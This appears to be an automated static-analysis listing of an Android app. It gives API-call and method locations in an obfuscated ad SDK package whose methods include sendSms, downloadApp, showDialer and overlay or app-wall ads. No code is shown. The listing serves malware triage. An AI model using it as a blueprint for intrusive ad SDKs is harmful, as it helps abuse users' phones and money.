API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:4 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:8 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:15 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:25 Show source
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:31 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:37 Show source
API: android.content.Intent-><init> at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:49 Show source
API: android.content.Intent->setFlags at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:52 Show source
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:55 Show source
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:58 Show source
API: android.content.Intent->setAction at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:62 Show source
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:68 Show source
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:72 Show source
API: android.app.Activity->startActivity at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:76 Show source
API: org.json.JSONObject->getInt at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:81 Show source
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:87 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:96 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:104 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:115 Show source
API: java.lang.String->startsWith at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:5 Show source
API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:21 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:25 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:32 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:40 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:50 Show source
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:56 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:68 Show source
API: org.json.JSONObject->getInt at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:73 Show source
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:79 Show source
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:85 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:91 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:97 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:103 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:109 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:121 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:126 Show source
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:132 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:141 Show source
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:147 Show source
API: java.lang.StringBuilder-><init> at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:157 Show source
API: java.lang.StringBuilder->append at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:161 Show source
API: java.lang.StringBuilder->append at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:164 Show source
API: java.lang.StringBuilder->toString at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:167 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:170 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:6 Show source
API: java.lang.System->currentTimeMillis at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:29 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:38 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:50 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity->isShowing at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:53 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:61 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:88 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:6 Show source
API: java.lang.System->currentTimeMillis at com.vxjxu.jkhfn1870.AirPlay.startAppWall:29 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:38 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startAppWall:50 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity->isShowing at com.vxjxu.jkhfn1870.AirPlay.startAppWall:53 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:61 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:88 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:9 Show source
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:18 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:38 Show source
API: java.lang.Exception->printStackTrace at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:42 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:56 Show source
API: android.os.Environment->getExternalStorageState at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:67 Show source
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:73 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity->isShowing at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:77 Show source
API: android.util.Log->w at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:85 Show source
API: java.lang.System->currentTimeMillis at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:90 Show source
API: android.util.Log->w at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:104 Show source
API: android.util.Log->w at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:127 Show source
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:136 Show source
API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:5 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:9 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:16 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:24 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:32 Show source
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:41 Show source
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:47 Show source
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:55 Show source
API: android.content.Intent-><init> at com.vxjxu.jkhfn1870.AirPlay$8.run:7 Show source
API: android.content.Intent->setFlags at com.vxjxu.jkhfn1870.AirPlay$8.run:10 Show source
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay$8.run:13 Show source
API: android.content.Intent->setAction at com.vxjxu.jkhfn1870.AirPlay$8.run:17 Show source
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay$8.run:23 Show source
API: android.app.Activity->startActivity at com.vxjxu.jkhfn1870.AirPlay$8.run:28 Show source
API: java.lang.Object-><init> at com.vxjxu.jkhfn1870.AirPlay$8.<init>:4 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: android.content.DialogInterface->dismiss at ..:3 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity->finish at ..:7 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity->access$200 at ..:8 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity$AppWall->dismiss at ..:11 Show source
API: com.vxjxu.jkhfn1870.SmartWallActivity->finish at ..:17 Show source
API: java.lang.Integer->toString at ..:7 Show source
API: java.lang.Integer->toString at ..:15 Show source
API: java.lang.Integer->toString at ..:21 Show source
API: java.lang.String->length at ..:29 Show source
API: java.lang.StringBuilder-><init> at ..:35 Show source
API: java.lang.StringBuilder->append at ..:39 Show source
API: java.lang.StringBuilder->append at ..:42 Show source
API: java.lang.StringBuilder->toString at ..:45 Show source
API: java.lang.String->length at ..:48 Show source
API: java.lang.StringBuilder-><init> at ..:54 Show source
API: java.lang.StringBuilder->append at ..:58 Show source
API: java.lang.StringBuilder->append at ..:61 Show source
API: java.lang.StringBuilder->toString at ..:64 Show source
API: java.lang.String->length at ..:67 Show source
API: java.lang.StringBuilder-><init> at ..:73 Show source
API: java.lang.StringBuilder->append at ..:77 Show source
API: java.lang.StringBuilder->append at ..:80 Show source
API: java.lang.StringBuilder->toString at ..:83 Show source
API: java.lang.String->equals at ..:90 Show source
API: java.lang.StringBuilder-><init> at ..:95 Show source
API: java.lang.StringBuilder->append at ..:97 Show source
API: java.lang.StringBuilder->append at ..:102 Show source
API: java.lang.StringBuilder->append at ..:105 Show source
API: java.lang.StringBuilder->append at ..:110 Show source
API: java.lang.StringBuilder->append at ..:113 Show source
API: java.lang.StringBuilder->toString at ..:116 Show source
API: java.lang.String->equals at ..:122 Show source
API: java.lang.String->equals at ..:128 Show source
API: java.lang.StringBuilder-><init> at ..:133 Show source
API: java.lang.StringBuilder->append at ..:135 Show source
API: java.lang.StringBuilder->append at ..:140 Show source
API: java.lang.StringBuilder->append at ..:143 Show source
API: java.lang.StringBuilder->toString at ..:146 Show source
API: java.lang.StringBuilder-><init> at ..:151 Show source
API: java.lang.StringBuilder->append at ..:153 Show source
API: java.lang.StringBuilder->append at ..:158 Show source
API: java.lang.StringBuilder->toString at ..:161 Show source
API: java.lang.String->equals at ..:15 Show source
API: java.lang.NullPointerException-><init> at ..:22 Show source
API: java.util.StringTokenizer-><init> at ..:31 Show source
API: java.util.StringTokenizer->nextToken at ..:33 Show source
API: java.util.StringTokenizer->nextToken at ..:36 Show source
API: java.util.StringTokenizer->nextToken at ..:39 Show source
API: java.lang.StringBuilder-><init> at ..:45 Show source
API: java.lang.StringBuilder->append at ..:48 Show source
API: java.lang.StringBuilder->append at ..:53 Show source
API: java.lang.StringBuilder->append at ..:57 Show source
API: java.lang.StringBuilder->append at ..:62 Show source
API: java.lang.StringBuilder->append at ..:67 Show source
API: java.lang.StringBuilder->toString at ..:70 Show source
API: java.io.PrintStream->println at ..:73 Show source
API: java.lang.String->contains at ..:81 Show source
API: java.util.StringTokenizer-><init> at ..:91 Show source
API: java.util.StringTokenizer->nextToken at ..:93 Show source
API: java.util.StringTokenizer->nextToken at ..:96 Show source
API: java.lang.Long->valueOf at ..:99 Show source
API: java.lang.Long->longValue at ..:102 Show source
API: java.lang.Long->valueOf at ..:109 Show source
API: java.lang.Long->longValue at ..:112 Show source
API: java.lang.Long->valueOf at ..:119 Show source
API: java.lang.Long->longValue at ..:122 Show source
API: java.lang.Long->valueOf at ..:127 Show source
API: java.lang.Long->longValue at ..:130 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.io.File->isDirectory at ..:3 Show source
API: java.io.File->listFiles at ..:7 Show source
API: java.io.File->delete at ..:18 Show source
API: android.widget.ImageView->setVisibility at ..:5 Show source
API: java.lang.String->contains at ..:17 Show source
API: android.os.Handler->postDelayed at ..:32 Show source
API: java.lang.NumberFormatException->printStackTrace at ..:36 Show source
API: java.lang.NullPointerException->printStackTrace at ..:40 Show source
API: java.lang.Exception->printStackTrace at ..:44 Show source
API: java.lang.Object-><init> at ..:6 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:69 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:73 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:68 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:72 Show source
Method: com.vxjxu.jkhfn1870.AirPlay$8.run:23 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:113 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:117 Show source
Method: prsolutions.rosariofacileads.RosarioFacile$2.onClick:15 Show source
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.handleClicks:122 Show source
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.handleClicks:128 Show source
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:68 Show source
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:32 Show source
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:47 Show source
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:61 Show source
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:76 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:24 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:28 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:129 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:135 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:140 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:145 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:154 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:163 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:168 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:174 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:183 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:192 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:205 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:212 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:224 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:309 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:39 Show source
Method: com.vxjxu.jkhfn1870.AirPlay$6.onTaskComplete:36 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:48 Show source
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:26 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showDialer:84 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1$3.run:59 Show source
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient.onShowCustomView:74 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:5 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:61 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onActivityResult:24 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onActivityResult:44 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onActivityResult:53 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onActivityResult:75 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1$2.run:21 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:96 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showLocation:62 Show source
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:4 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1$1.run:25 Show source
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient$2.onError:18 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:57 Show source
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient.onHideCustomView:40 Show source
Method: com.vxjxu.jkhfn1870.MraidView$4.onCancel:29 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.downloadApp:48 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:137 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:162 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:190 Show source
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:4 Show source
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient$1.onCompletion:18 Show source
Method: com.vxjxu.jkhfn1870.MraidView$3.onClick:30 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showDialer:70 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setSupportProperties:2 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1.run:28 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1.run:84 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1.run:114 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:64 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:70 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:121 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setDefaultPosition:7 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setDefaultPosition:18 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showLocation:49 Show source
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:50 Show source
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:70 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:141 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:156 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:234 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:351 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:370 Show source
Method: com.vxjxu.jkhfn1870.MraidView.getTokenSize:5 Show source
Method: com.vxjxu.jkhfn1870.MraidView.displayAd:4 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:21 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:43 Show source
Method: com.vxjxu.jkhfn1870.MraidView.expand:19 Show source
Method: com.vxjxu.jkhfn1870.MraidView.expand:30 Show source
Method: com.vxjxu.jkhfn1870.MraidView.addCloseButton:5 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.downloadApp:34 Show source
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:14 Show source
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:34 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:2 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:19 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:24 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:84 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:95 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:105 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:153 Show source
Method: com.vxjxu.jkhfn1870.MraidView.sendEventData:12 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setMaxSize:11 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setCurrentPosition:7 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setCurrentPosition:18 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showDialer:79 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showDialer:121 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:51 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onActivityResult:19 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onActivityResult:39 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:91 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:130 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showLocation:58 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showLocation:99 Show source
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:81 Show source
Method: com.vxjxu.jkhfn1870.MraidView$2$1$1.run:10 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:339 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:437 Show source
Method: com.vxjxu.jkhfn1870.MraidView.displayAD:85 Show source
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient$2.onError:11 Show source
Method: com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent:37 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:52 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:86 Show source
Method: com.vxjxu.jkhfn1870.MraidView.expand:151 Show source
Method: com.vxjxu.jkhfn1870.MraidView.expand:159 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.downloadApp:43 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.downloadApp:85 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:149 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:175 Show source
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:45 Show source
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient$1.onCompletion:11 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:27 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:38 Show source
Method: ..:22 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showDialer:27 Show source
Method: com.vxjxu.jkhfn1870.AdView.validateStatusCode:7 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:25 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:37 Show source
Method: ..:93 Show source
Method: ..:140 Show source
Method: ..:198 Show source
Method: ..:231 Show source
Method: ..:285 Show source
Method: ..:318 Show source
Method: ..:351 Show source
Method: ..:384 Show source
Method: ..:417 Show source
Method: ..:503 Show source
Method: ..:572 Show source
Method: com.vxjxu.jkhfn1870.MraidView.canFetchAd:37 Show source
Method: com.vxjxu.jkhfn1870.MraidView$6.run:21 Show source
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.isParseBannerAd:74 Show source
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.isParseBannerAd:206 Show source
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.isParseBannerAd:226 Show source
Method: ..:51 Show source
Method: ..:58 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:50 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:91 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:97 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:103 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:109 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:126 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:141 Show source
Method: ..:32 Show source
Method: ..:100 Show source
Method: ..:125 Show source
Method: ..:167 Show source
Method: ..:192 Show source
Method: ..:232 Show source
Method: ..:240 Show source
Method: ..:248 Show source
Method: ..:256 Show source
Method: ..:13 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:17 Show source
Method: com.vxjxu.jkhfn1870.MraidView.storePicture:31 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner.<init>:168 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner.<init>:333 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:28 Show source
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:44 Show source
Method: ..:90 Show source
Method: ..:122 Show source
Method: ..:128 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getRrule:12 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getRrule:70 Show source
Method: ..:9 Show source
Method: ..:17 Show source
Method: ..:25 Show source
Method: ..:33 Show source
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:32 Show source
Method: ..:49 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:55 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:127 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:133 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:139 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:145 Show source
Method: com.vxjxu.jkhfn1870.MraidView.resize:35 Show source
Method: ..:43 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:41 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:50 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:59 Show source
Method: ..:10 Show source
Method: ..:16 Show source
Method: ..:23 Show source
Method: ..:34 Show source
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:23 Show source
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:29 Show source
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:35 Show source
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:41 Show source
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:47 Show source
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:73 Show source
Method: com.vxjxu.jkhfn1870.AdView.loadBannerAd:38 Show source
Method: com.vxjxu.jkhfn1870.AdView.loadBannerAd:62 Show source
Method: ..:9 Show source
Method: ..:15 Show source
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:26 Show source
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:32 Show source
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:51 Show source
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:57 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner$1.shouldOverrideUrlLoading:55 Show source
Method: ..:11 Show source
Method: ..:35 Show source
Method: com.vxjxu.jkhfn1870.NetworkThread.run:156 Show source
Method: ..:49 Show source
Method: ..:43 Show source
Method: com.vxjxu.jkhfn1870.AdView.onConfigurationChanged:18 Show source
Method: com.vxjxu.jkhfn1870.AdView.onConfigurationChanged:24 Show source
Method: com.vxjxu.jkhfn1870.AdView.onConfigurationChanged:30 Show source
Method: ..:15 Show source
Method: com.vxjxu.jkhfn1870.AdView.parseMraidJson:35 Show source
Method: com.vxjxu.jkhfn1870.MraidView.displayAd:87 Show source
Method: com.vxjxu.jkhfn1870.MraidView.displayAd:131 Show source
Method: com.vxjxu.jkhfn1870.MraidView.displayAd:199 Show source
Method: com.vxjxu.jkhfn1870.MraidView.displayAd:246 Show source
Method: ..:144 Show source
Method: ..:231 Show source
Method: ..:543 Show source
Method: ..:605 Show source
Method: ..:642 Show source
Method: ..:677 Show source
Method: ..:723 Show source
Method: ..:760 Show source
Method: ..:818 Show source
Method: ..:891 Show source
Method: ..:928 Show source
Method: ..:980 Show source
Method: ..:1017 Show source
Method: ..:1103 Show source
Method: ..:1189 Show source
Method: ..:1241 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner$2.run:21 Show source
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:198 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.showBrowser:17 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.launchNewHttpTask:22 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.launchNewHttpTask:161 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner.onMeasure:16 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner.onMeasure:22 Show source
Method: com.vxjxu.jkhfn1870.ImageBanner.onMeasure:28 Show source
Method: ..:25 Show source
Method: com.vxjxu.jkhfn1870.MraidView.expand:129 Show source
Method: com.vxjxu.jkhfn1870.MraidView.close:13 Show source
Method: com.vxjxu.jkhfn1870.MraidView.close:81 Show source
Method: com.vxjxu.jkhfn1870.MraidView.close:113 Show source
Method: ..:54 Show source
Method: ..:117 Show source
Method: ..:29 Show source
Method: ..:35 Show source
